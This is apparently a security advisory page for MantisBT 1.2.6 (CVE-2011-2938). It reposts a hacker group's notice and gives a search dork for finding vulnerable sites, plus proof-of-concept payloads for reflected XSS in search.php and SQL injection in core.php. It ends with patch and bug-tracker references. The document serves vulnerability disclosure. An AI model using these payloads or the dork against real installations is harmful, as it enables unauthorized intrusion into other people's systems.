MantisBT CMS Multiple Vulnerabilities(SQL/XSS)

2011-08-17 / 2011-08-18
Credit: Net.Edit0r (Net.Edit0r@Att.net)
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2011-2938
CWE: CWE-79
Dork: \"Copyright © 2000 - 2011 MantisBT Group\"


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

[!]===========================================================================[!] [~] Title : MantisBT CMS Multiple Vulnerabilities(SQL/XSS) [~] Author : Net.Edit0r (Net.Edit0r@Att.net) [~] Homepage : Http://black-hg.org [BlACK Hat Group] [~] Date : 18 ,8, 2010 [~] Discovered By : Cyrus & Net.Edit0r [~] Category : webapps / 0day [-] Special Thanks : A.Cr0x ~ b3hz4d ~ Mikili ~ 2MzRp ~ Skitt3r [!]===========================================================================[!] [ Software Information ] [+] Vendor : http://www.mantisbt.org [+] Download Saftware : http://sourceforge.net/projects/mantisbt/files/mantis-stable/1.2.6/mantisbt-1.2.6.zip/download [+] Price : free [+] Vulnerability : SQL/XSS [+] Dork : "Copyright &#169; 2000 - 2011 MantisBT Group" [+] Version : 1.2.6 [!]===========================================================================[!] [ Vulnerable File ] http://127.0.0.1/path/search.php?project_id=[XSS] http://127.0.0.1/path/core.php?mbadmin=[SQL] [ XpL ] http://127.0.0.1/path/search.php?project_id="><script>alert(0)</script> http://127.0.0.1/path/core.php?mbadmin=2+Order+By+10-- [ Vedio Demo ] ^_^ G00d LUCK ALL :=) [+] Greets===================================================================+ + Dr.Niloo, Hurr!c4nE , Cru3l.b0y , _Attack_, D3adlY, 3H34N , Mr.Xhat , 4m!n + M4hd1,s3cure.p0rt ,r3v0lter,1337day.com,packetstormsecurity.org,h4ckcity.org + Exploit-id.com , pentesters.ir, mn-team.net [PersianGulf F0r Ever] + <3 I Love You iRAN Far==>D <3 + + =============================================================================+

References:

https://github.com/mantisbt/mantisbt/commit/317f3db3a3c68775de3acf3b15f55b1e3c18f93b
https://bugzilla.redhat.com/show_bug.cgi?id=731777
https://bugs.launchpad.net/ubuntu/+source/mantis/+bug/828857
https://bugs.gentoo.org/show_bug.cgi?id=379739
http://www.openwall.com/lists/oss-security/2011/08/19/16
http://www.openwall.com/lists/oss-security/2011/08/18/7
http://lists.fedoraproject.org/pipermail/package-announce/2011-September/066061.html
http://www.securityfocus.com/bid/49235
http://www.mantisbt.org/bugs/view.php?id=13245
http://packetstormsecurity.org/files/104149


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top